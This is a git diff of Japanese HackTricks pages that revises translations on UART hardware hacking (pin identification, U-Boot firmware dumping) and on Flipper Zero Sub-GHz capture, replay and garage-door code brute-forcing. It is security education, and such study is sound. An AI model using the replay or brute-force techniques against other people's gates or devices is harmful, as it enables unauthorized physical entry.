一般的に、UARTがアイドル状態のとき、ラインは高い状態(論理1の値)に保たれます。次に、データ転送の開始を示すために、送信者は受信者にスタートビットを送信し、その間、信号は低い状態(論理0の値)に保たれます。次に、送信者は実際のメッセージを含む5〜8ビットのデータを送信し、オプションのパリティビットと1または2のストップビット(論理1の値)を続けます。エラー検出に使用されるパリティビットは、実際にはほとんど見られません。ストップビット(またはビット)は、送信の終了を示します。
|
||||
一般的に、UARTがアイドル状態のとき、ラインは高い状態(論理1値)に保たれます。次に、データ転送の開始を示すために、送信者は受信者にスタートビットを送信し、その間、信号は低い状態(論理0値)に保たれます。次に、送信者は実際のメッセージを含む5〜8ビットのデータを送信し、オプションのパリティビットと1または2のストップビット(論理1値)を続けます。エラーチェックに使用されるパリティビットは、実際にはほとんど見られません。ストップビット(またはビット)は、送信の終了を示します。
|
||||
|
||||
最も一般的な構成を8N1と呼びます:8ビットのデータ、パリティなし、1つのストップビット。たとえば、Cという文字、またはASCIIで0x43を8N1 UART構成で送信したい場合、次のビットを送信します:0(スタートビット);0、1、0、0、0、0、1、1(0x43のバイナリ値)、および0(ストップビット)。
|
||||
|
||||
|
@ -51,28 +38,28 @@ UARTには4つのポートがあります:**TX**(送信)、**RX**(受信
|
|||
|
||||
**マルチメーター**を使用し、デバイスの電源を切った状態で:
|
||||
|
||||
* **GND**ピンを特定するには、**連続性テスト**モードを使用し、黒いリードを接地に置き、赤いリードでテストしてマルチメーターから音が聞こえるまで試します。PCBには複数のGNDピンがあるため、UARTに属するものを見つけたかどうかはわかりません。
|
||||
* **VCCポート**を特定するには、**DC電圧モード**を設定し、20Vの電圧に設定します。黒いプローブを接地に、赤いプローブをピンに置き、デバイスの電源を入れます。マルチメーターが3.3Vまたは5Vの一定の電圧を測定した場合、Vccピンを見つけたことになります。他の電圧が得られた場合は、他のポートで再試行します。
|
||||
* **TX** **ポート**を特定するには、**DC電圧モード**を20Vに設定し、黒いプローブを接地に、赤いプローブをピンに置き、デバイスの電源を入れます。電圧が数秒間変動し、その後Vcc値で安定する場合、TXポートを見つけた可能性が高いです。これは、電源を入れるとデバッグデータを送信するためです。
|
||||
* **RXポート**は他の3つに最も近く、電圧の変動が最も少なく、すべてのUARTピンの中で全体的な値が最も低いです。
|
||||
* **GND**ピンを特定するには、**連続性テスト**モードを使用し、バックリードを接地に置き、赤いリードでテストします。マルチメーターから音が聞こえるまで続けます。PCBには複数のGNDピンがあるため、UARTに属するものを見つけたかどうかはわかりません。
|
||||
* **VCCポート**を特定するには、**DC電圧モード**を設定し、20Vの電圧に設定します。黒いプローブを接地に、赤いプローブをピンに接続します。デバイスの電源を入れます。マルチメーターが3.3Vまたは5Vの一定の電圧を測定した場合、Vccピンを見つけたことになります。他の電圧が得られた場合は、他のポートで再試行します。
|
||||
* **TX** **ポート**を特定するには、**DC電圧モード**を20Vの電圧に設定し、黒いプローブを接地に、赤いプローブをピンに接続し、デバイスの電源を入れます。電圧が数秒間変動し、その後Vcc値で安定する場合、TXポートを見つけた可能性が高いです。これは、電源を入れるとデバッグデータが送信されるためです。
|
||||
* **RXポート**は他の3つに最も近く、電圧の変動が最も少なく、すべてのUARTピンの中で最も低い全体的な値を持っています。
|
||||
|
||||
TXポートとRXポートを混同しても何も起こりませんが、GNDポートとVCCポートを混同すると回路が壊れる可能性があります。
|
||||
|
||||
一部のターゲットデバイスでは、製造元によってRXまたはTX、または両方を無効にすることによりUARTポートが無効にされています。その場合、回路基板の接続を追跡し、ブレークアウトポイントを見つけることが役立ちます。UARTの検出がないことを確認し、回路が壊れていることを示す強い手がかりは、デバイスの保証を確認することです。デバイスが保証付きで出荷されている場合、製造元はデバッグインターフェース(この場合はUART)を残しており、したがってUARTを切断し、デバッグ中に再接続する必要があります。これらのブレークアウトピンは、はんだ付けまたはジャンパーワイヤーで接続できます。
|
||||
一部のターゲットデバイスでは、製造元によってRXまたはTX、または両方が無効にされている場合があります。その場合、回路基板内の接続を追跡し、ブレークアウトポイントを見つけることが役立ちます。UARTの検出が確認できず、回路が壊れていることを確認する強い手がかりは、デバイスの保証を確認することです。デバイスが保証付きで出荷されている場合、製造元はデバッグインターフェース(この場合はUART)を残しており、したがってUARTを切断し、デバッグ中に再接続する必要があります。これらのブレークアウトピンは、はんだ付けまたはジャンパーワイヤーで接続できます。
|
||||
|
||||
### UARTボーレートの特定
|
||||
|
||||
正しいボーレートを特定する最も簡単な方法は、**TXピンの出力を見てデータを読み取る**ことです。受信したデータが読み取れない場合は、次の可能なボーレートに切り替えてデータが読み取れるようになるまで繰り返します。USB-to-serialアダプタやBus Pirateのような多目的デバイスを使用し、[baudrate.py](https://github.com/devttys0/baudrate/)のようなヘルパースクリプトと組み合わせてこれを行うことができます。最も一般的なボーレートは9600、38400、19200、57600、115200です。
|
||||
正しいボーレートを特定する最も簡単な方法は、**TXピンの出力を見てデータを読み取ること**です。受信したデータが読み取れない場合は、次の可能なボーレートに切り替えて、データが読み取れるようになるまで続けます。これを行うには、USB-to-serialアダプタやBus Pirateのような多目的デバイスを使用し、[baudrate.py](https://github.com/devttys0/baudrate/)のようなヘルパースクリプトと組み合わせることができます。最も一般的なボーレートは9600、38400、19200、57600、および115200です。
|
||||
|
||||
{% hint style="danger" %}
|
||||
このプロトコルでは、1つのデバイスのTXを他のデバイスのRXに接続する必要があることに注意することが重要です!
|
||||
このプロトコルでは、1つのデバイスのTXを他のデバイスのRXに接続する必要があることに注意してください!
|
||||
{% endhint %}
|
||||
|
||||
## CP210X UART to TTYアダプタ
|
||||
|
||||
CP210Xチップは、NodeMCU(esp8266を搭載)などの多くのプロトタイピングボードでシリアル通信に使用されます。これらのアダプタは比較的安価で、ターゲットのUARTインターフェースに接続するために使用できます。デバイスには5つのピンがあります:5V、GND、RXD、TXD、3.3V。ターゲットがサポートする電圧に接続して、損傷を避けるようにしてください。最後に、アダプタのRXDピンをターゲットのTXDに、アダプタのTXDピンをターゲットのRXDに接続します。
|
||||
CP210Xチップは、NodeMCU(esp8266搭載)などの多くのプロトタイピングボードでシリアル通信に使用されます。これらのアダプタは比較的安価で、ターゲットのUARTインターフェースに接続するために使用できます。デバイスには5つのピンがあります:5V、GND、RXD、TXD、3.3V。ターゲットがサポートする電圧に接続して、損傷を避けるようにしてください。最後に、アダプタのRXDピンをターゲットのTXDに、アダプタのTXDピンをターゲットのRXDに接続します。
|
||||
|
||||
アダプタが検出されない場合は、ホストシステムにCP210Xドライバーがインストールされていることを確認してください。アダプタが検出されて接続されると、picocom、minicom、またはscreenなどのツールを使用できます。
|
||||
アダプタが検出されない場合は、ホストシステムにCP210Xドライバがインストールされていることを確認してください。アダプタが検出されて接続されると、picocom、minicom、またはscreenなどのツールを使用できます。
|
||||
|
||||
Linux/MacOSシステムに接続されているデバイスをリストするには:
|
||||
```
|
||||
|
@ -86,13 +73,13 @@ minicomの設定には、次のコマンドを使用します:
|
|||
```
|
||||
minicom -s
|
||||
```
|
||||
設定を`Serial port setup`オプションでボーレートやデバイス名などに構成します。
|
||||
設定でボーレートやデバイス名を`Serial port setup`オプションで構成します。
|
||||
|
||||
構成後、`minicom`コマンドを使用してUARTコンソールを開始します。
|
||||
構成後、`minicom`コマンドを使用してUARTコンソールを起動します。
|
||||
|
||||
## Arduino UNO R3を介したUART(取り外し可能なAtmel 328pチップボード)
|
||||
|
||||
UARTシリアルからUSBアダプタが利用できない場合、Arduino UNO R3を使って簡単なハックを行うことができます。Arduino UNO R3は通常どこでも入手可能なため、これにより多くの時間を節約できます。
|
||||
UARTシリアルからUSBアダプタが利用できない場合、Arduino UNO R3を使って簡単にハックできます。Arduino UNO R3は通常どこでも入手可能なため、これにより多くの時間を節約できます。
|
||||
|
||||
Arduino UNO R3には、ボード自体にUSBからシリアルへのアダプタが組み込まれています。UART接続を得るには、ボードからAtmel 328pマイクロコントローラーチップを抜き出すだけです。このハックは、Atmel 328pがボードにハンダ付けされていないArduino UNO R3のバリアント(SMDバージョンが使用されています)で機能します。ArduinoのRXピン(デジタルピン0)をUARTインターフェースのTXピンに接続し、ArduinoのTXピン(デジタルピン1)をUARTインターフェースのRXピンに接続します。
|
||||
|
||||
|
@ -100,7 +87,7 @@ Arduino UNO R3には、ボード自体にUSBからシリアルへのアダプタ
|
|||
|
||||
## Bus Pirate
|
||||
|
||||
このシナリオでは、プログラムのすべての印刷をシリアルモニターに送信しているArduinoのUART通信をスニッフィングします。
|
||||
このシナリオでは、プログラムのすべての出力をシリアルモニターに送信しているArduinoのUART通信をスニッフィングします。
|
||||
```bash
|
||||
# Check the modes
|
||||
UART>m
|
||||
|
@ -172,43 +159,31 @@ Escritura inicial completada:
|
|||
AAA Hi Dreg! AAA
|
||||
waiting a few secs to repeat....
|
||||
```
|
||||
## Dumping Firmware with UART Console
|
||||
## UARTコンソールを使用したファームウェアのダンプ
|
||||
|
||||
UART Consoleは、ランタイム環境で基盤となるファームウェアを操作するための優れた方法を提供します。しかし、UART Consoleのアクセスが読み取り専用の場合、多くの制約が生じる可能性があります。多くの組み込みデバイスでは、ファームウェアはEEPROMに保存され、揮発性メモリを持つプロセッサで実行されます。したがって、元のファームウェアは製造時にEEPROM自体にあり、新しいファイルは揮発性メモリのために失われるため、ファームウェアは読み取り専用のまま保持されます。したがって、組み込みファームウェアを扱う際にファームウェアをダンプすることは貴重な努力です。
|
||||
UARTコンソールは、ランタイム環境で基盤となるファームウェアを操作するための優れた方法を提供します。しかし、UARTコンソールのアクセスが読み取り専用の場合、多くの制約が生じる可能性があります。多くの組み込みデバイスでは、ファームウェアはEEPROMに保存され、揮発性メモリを持つプロセッサで実行されます。したがって、元のファームウェアが製造時にEEPROM自体にあるため、ファームウェアは読み取り専用のまま保持され、新しいファイルは揮発性メモリのために失われることになります。したがって、組み込みファームウェアを扱う際にファームウェアをダンプすることは貴重な努力です。
|
||||
|
||||
これを行う方法はいくつかあり、SPIセクションではさまざまなデバイスを使用してEEPROMから直接ファームウェアを抽出する方法を説明しています。ただし、物理デバイスや外部インタラクションを使用してファームウェアをダンプすることはリスクがあるため、最初にUARTを使用してファームウェアをダンプすることをお勧めします。
|
||||
これを行う方法はたくさんあり、SPIセクションではさまざまなデバイスを使用してEEPROMから直接ファームウェアを抽出する方法を説明しています。ただし、物理デバイスや外部インタラクションを使用してファームウェアをダンプすることはリスクがあるため、最初にUARTを使用してファームウェアをダンプすることをお勧めします。
|
||||
|
||||
UART Consoleからファームウェアをダンプするには、まずブートローダーにアクセスする必要があります。多くの人気ベンダーは、Linuxをロードするためのブートローダーとしてuboot(Universal Bootloader)を使用しています。したがって、ubootにアクセスすることが必要です。
|
||||
UARTコンソールからファームウェアをダンプするには、まずブートローダーにアクセスする必要があります。多くの人気ベンダーは、Linuxをロードするためのブートローダーとしてuboot(ユニバーサルブートローダー)を使用しています。したがって、ubootにアクセスすることが必要です。
|
||||
|
||||
ブートローダーにアクセスするには、UARTポートをコンピュータに接続し、任意のシリアルコンソールツールを使用し、デバイスへの電源供給を切断しておきます。セットアップが完了したら、Enterキーを押して保持します。最後に、デバイスに電源を接続し、ブートさせます。
|
||||
|
||||
これを行うことで、ubootのロードが中断され、メニューが表示されます。ubootコマンドを理解し、ヘルプメニューを使用してそれらをリストすることをお勧めします。これが`help`コマンドかもしれません。異なるベンダーが異なる構成を使用しているため、それぞれを個別に理解することが必要です。
|
||||
これを行うと、ubootのロードが中断され、メニューが表示されます。ubootコマンドを理解し、ヘルプメニューを使用してそれらをリストすることをお勧めします。これが`help`コマンドである可能性があります。異なるベンダーが異なる構成を使用しているため、それぞれを個別に理解することが必要です。
|
||||
|
||||
通常、ファームウェアをダンプするためのコマンドは:
|
||||
通常、ファームウェアをダンプするためのコマンドは次のとおりです:
|
||||
```
|
||||
md
|
||||
```
|
||||
which stands for "memory dump". これはメモリ(EEPROMコンテンツ)を画面にダンプします。メモリダンプをキャプチャするために、手順を開始する前にシリアルコンソールの出力をログに記録することをお勧めします。
|
||||
これは「メモリダンプ」を意味します。これにより、メモリ(EEPROMコンテンツ)が画面にダンプされます。メモリダンプをキャプチャするために、手順を開始する前にシリアルコンソールの出力をログに記録することをお勧めします。
|
||||
|
||||
最後に、ログファイルから不要なデータをすべて削除し、ファイルを `filename.rom` として保存し、binwalkを使用して内容を抽出します:
|
||||
最後に、ログファイルから不要なデータをすべて削除し、ファイルを `filename.rom` として保存し、binwalkを使用して内容を抽出します:
|
||||
```
|
||||
binwalk -e <filename.rom>
|
||||
```
|
||||
これは、16進数ファイルに見つかった署名に従って、EEPROMからの可能な内容をリストします。
|
||||
これは、16進数ファイルに見つかった署名に基づいて、EEPROMからの可能な内容をリストします。
|
||||
|
||||
ただし、使用されている場合でも、ubootが常にロック解除されているわけではないことに注意する必要があります。Enterキーが何も反応しない場合は、Spaceキーなどの異なるキーを確認してください。ブートローダーがロックされていて中断されない場合、この方法は機能しません。デバイスのブートローダーがubootであるかどうかを確認するには、デバイスのブート中にUARTコンソールの出力を確認してください。ブート中にubootと表示されるかもしれません。
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**に基づいた検索エンジンで、企業やその顧客が**スティーラーマルウェア**によって**侵害された**かどうかを確認するための**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
ただし、使用されている場合でも、ubootが常にロック解除されているわけではないことに注意する必要があります。Enterキーが何も反応しない場合は、スペースキーなどの異なるキーを確認してください。ブートローダーがロックされていて中断されない場合、この方法は機能しません。デバイスのブートローダーがubootであるかどうかを確認するには、デバイスのブート中にUARTコンソールの出力を確認してください。ブート中にubootと表示されるかもしれません。
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -219,8 +194,8 @@ GCPハッキングを学び、練習する:<img src="/.gitbook/assets/grte.png
|
|||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してハッキングトリックを共有してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -10,37 +10,23 @@ GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png"
|
|||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
[**Flipper Zero**](https://flipperzero.one/)を使用すると、次のことができます:
|
||||
|
||||
* **ラジオ周波数をリスニング/キャプチャ/リプレイする:** [**Sub-GHz**](fz-sub-ghz.md)
|
||||
* **NFCカードを読み取り/キャプチャ/エミュレートする:** [**NFC**](fz-nfc.md)
|
||||
* **125kHzタグを読み取り/キャプチャ/エミュレートする:** [**125kHz RFID**](fz-125khz-rfid.md)
|
||||
* **赤外線信号を読み取り/キャプチャ/送信する:** [**Infrared**](fz-infrared.md)
|
||||
* **iButtonを読み取り/キャプチャ/エミュレートする:** [**iButton**](../ibutton.md)
|
||||
* **ラジオ周波数をリスン/キャプチャ/リプレイする:** [**Sub-GHz**](fz-sub-ghz.md)
|
||||
* **NFCカードを読み取る/キャプチャする/エミュレートする:** [**NFC**](fz-nfc.md)
|
||||
* **125kHzタグを読み取る/キャプチャする/エミュレートする:** [**125kHz RFID**](fz-125khz-rfid.md)
|
||||
* **赤外線信号を読み取る/キャプチャする/送信する:** [**Infrared**](fz-infrared.md)
|
||||
* **iButtonを読み取る/キャプチャする/エミュレートする:** [**iButton**](../ibutton.md)
|
||||
* **Bad USBとして使用する**
|
||||
* **セキュリティキー(U2F)として使用する**
|
||||
* **スネークをプレイする**
|
||||
|
||||
**その他のFlipper Zeroリソースは** [**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
**他のFlipper Zeroリソースは** [**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -52,7 +38,7 @@ GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png"
|
|||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# FZ - Sub-GHz
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,17 +15,10 @@ GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png"
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
## Intro <a href="#kfpn7" id="kfpn7"></a>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## はじめに <a href="#kfpn7" id="kfpn7"></a>
|
||||
|
||||
Flipper Zeroは、**300-928 MHzの範囲でラジオ周波数を受信および送信**できる内蔵モジュールを備えており、リモコンを読み取り、保存し、エミュレートできます。これらのリモコンは、ゲート、バリア、ラジオロック、リモートスイッチ、ワイヤレスドアベル、スマートライトなどとのインタラクションに使用されます。Flipper Zeroは、あなたのセキュリティが侵害されているかどうかを学ぶ手助けをします。
|
||||
Flipper Zeroは、**300-928 MHzの範囲の無線周波数を受信および送信**できる内蔵モジュールを備えており、リモコンを読み取り、保存し、エミュレートできます。これらのコントロールは、ゲート、バリア、無線ロック、リモートコントロールスイッチ、ワイヤレスドアベル、スマートライトなどとのインタラクションに使用されます。Flipper Zeroは、あなたのセキュリティが侵害されているかどうかを学ぶのに役立ちます。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (714).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -43,9 +36,9 @@ Flipper Zeroは、[](https://www.st.com/en/nfc/st25r3916.html#overview)[CC
|
|||
リモコンが使用している周波数を見つける方法
|
||||
{% endhint %}
|
||||
|
||||
分析中、Flipper Zeroは周波数設定で利用可能なすべての周波数で信号強度(RSSI)をスキャンしています。Flipper Zeroは、-90 [dBm](https://en.wikipedia.org/wiki/DBm)より高い信号強度を持つ最高のRSSI値の周波数を表示します。
|
||||
分析中、Flipper Zeroは周波数設定で利用可能なすべての周波数で信号強度(RSSI)をスキャンしています。Flipper Zeroは、-90 [dBm](https://en.wikipedia.org/wiki/DBm)より高い信号強度を持つRSSI値が最も高い周波数を表示します。
|
||||
|
||||
リモコンの周波数を特定するには、次の手順を実行します。
|
||||
リモコンの周波数を特定するには、次の手順を実行します:
|
||||
|
||||
1. リモコンをFlipper Zeroの左側に非常に近く置きます。
|
||||
2. **メインメニュー** **→ Sub-GHz**に移動します。
|
||||
|
@ -58,17 +51,17 @@ Flipper Zeroは、[](https://www.st.com/en/nfc/st25r3916.html#overview)[CC
|
|||
使用されている周波数に関する情報を見つける(使用されている周波数を見つける別の方法)
|
||||
{% endhint %}
|
||||
|
||||
**読み取り**オプションは、指定された変調で**設定された周波数をリスニング**します:デフォルトは433.92 AMです。**読み取り中に何かが見つかった場合、**画面に**情報が表示されます**。この情報は、将来的に信号を再現するために使用できます。
|
||||
**読み取り**オプションは、指定された変調で**設定された周波数をリスニング**します:デフォルトは433.92 AMです。読み取り中に**何かが見つかった場合**、**情報が画面に表示されます**。この情報は、将来信号を再現するために使用できます。
|
||||
|
||||
読み取り中は、**左ボタン**を押して**設定する**ことができます。\
|
||||
この時点で、**4つの変調**(AM270、AM650、FM328、FM476)と**いくつかの関連周波数**が保存されています:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (947).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**興味のある周波数を設定できますが、**リモコンが使用している可能性のある周波数が**不明な場合は、HoppingをONに設定**(デフォルトはOFF)し、Flipperがそれをキャプチャして周波数を設定するために必要な情報を提供するまでボタンを何度も押してください。
|
||||
**興味のある周波数を設定できます**が、リモコンが使用している周波数が**不明な場合**は、**ホッピングをONに設定**(デフォルトはOFF)し、Flipperがそれをキャプチャして周波数を設定するために必要な情報を提供するまでボタンを何度も押してください。
|
||||
|
||||
{% hint style="danger" %}
|
||||
周波数を切り替えるには時間がかかるため、切り替え時に送信された信号が失われる可能性があります。信号の受信を改善するために、周波数アナライザーによって決定された固定周波数を設定してください。
|
||||
周波数を切り替えるのには時間がかかるため、切り替え時に送信された信号が見逃される可能性があります。信号受信を改善するために、周波数アナライザーによって決定された固定周波数を設定してください。
|
||||
{% endhint %}
|
||||
|
||||
### **生データの読み取り**
|
||||
|
@ -77,13 +70,13 @@ Flipper Zeroは、[](https://www.st.com/en/nfc/st25r3916.html#overview)[CC
|
|||
設定された周波数で信号を盗む(再生する)
|
||||
{% endhint %}
|
||||
|
||||
**生データの読み取り**オプションは、リスニング周波数で送信された信号を**記録**します。これを使用して、信号を**盗み**、**繰り返す**ことができます。
|
||||
**生データの読み取り**オプションは、リスニング周波数で送信された信号を**記録**します。これは、信号を**盗む**ために使用でき、**繰り返す**ことができます。
|
||||
|
||||
デフォルトでは、**生データの読み取りも433.92 AM650**で行われますが、読み取りオプションで興味のある信号が**異なる周波数/変調**であることがわかった場合は、左ボタンを押してそれを変更することもできます(生データの読み取りオプション内で)。
|
||||
デフォルトでは、**生データの読み取りもAM650の433.92で行われます**が、読み取りオプションで興味のある信号が**異なる周波数/変調**であることがわかった場合は、(生データの読み取りオプション内で)左を押すことでそれを変更できます。
|
||||
|
||||
### ブルートフォース
|
||||
|
||||
ガレージドアで使用されるプロトコルがわかっている場合、Flipper Zeroを使用して**すべてのコードを生成し、送信することが可能です。**これは一般的なガレージのタイプをサポートする例です:[**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)
|
||||
ガレージドアで使用されるプロトコルがわかっている場合、Flipper Zeroを使用して**すべてのコードを生成し、送信することが可能です。** これは一般的なガレージのタイプをサポートする例です:[**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)
|
||||
|
||||
### 手動で追加
|
||||
|
||||
|
@ -93,22 +86,22 @@ Flipper Zeroは、[](https://www.st.com/en/nfc/st25r3916.html#overview)[CC
|
|||
|
||||
#### [サポートされているプロトコルのリスト](https://docs.flipperzero.one/sub-ghz/add-new-remote) <a href="#id-3iglu" id="id-3iglu"></a>
|
||||
|
||||
| Princeton\_433(ほとんどの静的コードシステムで動作) | 433.92 | 静的 |
|
||||
| --------------------------------------------------------------- | ------ | ------- |
|
||||
| Nice Flo 12bit\_433 | 433.92 | 静的 |
|
||||
| Nice Flo 24bit\_433 | 433.92 | 静的 |
|
||||
| CAME 12bit\_433 | 433.92 | 静的 |
|
||||
| CAME 24bit\_433 | 433.92 | 静的 |
|
||||
| Linear\_300 | 300.00 | 静的 |
|
||||
| CAME TWEE | 433.92 | 静的 |
|
||||
| Gate TX\_433 | 433.92 | 静的 |
|
||||
| DoorHan\_315 | 315.00 | 動的 |
|
||||
| DoorHan\_433 | 433.92 | 動的 |
|
||||
| LiftMaster\_315 | 315.00 | 動的 |
|
||||
| LiftMaster\_390 | 390.00 | 動的 |
|
||||
| Security+2.0\_310 | 310.00 | 動的 |
|
||||
| Security+2.0\_315 | 315.00 | 動的 |
|
||||
| Security+2.0\_390 | 390.00 | 動的 |
|
||||
| Princeton\_433(静的コードシステムの大多数で動作) | 433.92 | 静的 |
|
||||
| --------------------------------------------------- | ------ | ----- |
|
||||
| Nice Flo 12bit\_433 | 433.92 | 静的 |
|
||||
| Nice Flo 24bit\_433 | 433.92 | 静的 |
|
||||
| CAME 12bit\_433 | 433.92 | 静的 |
|
||||
| CAME 24bit\_433 | 433.92 | 静的 |
|
||||
| Linear\_300 | 300.00 | 静的 |
|
||||
| CAME TWEE | 433.92 | 静的 |
|
||||
| Gate TX\_433 | 433.92 | 静的 |
|
||||
| DoorHan\_315 | 315.00 | 動的 |
|
||||
| DoorHan\_433 | 433.92 | 動的 |
|
||||
| LiftMaster\_315 | 315.00 | 動的 |
|
||||
| LiftMaster\_390 | 390.00 | 動的 |
|
||||
| Security+2.0\_310 | 310.00 | 動的 |
|
||||
| Security+2.0\_315 | 315.00 | 動的 |
|
||||
| Security+2.0\_390 | 390.00 | 動的 |
|
||||
|
||||
### サポートされているSub-GHzベンダー
|
||||
|
||||
|
@ -128,15 +121,9 @@ Flipper Zeroは、[](https://www.st.com/en/nfc/st25r3916.html#overview)[CC
|
|||
|
||||
* [https://docs.flipperzero.one/sub-ghz](https://docs.flipperzero.one/sub-ghz)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
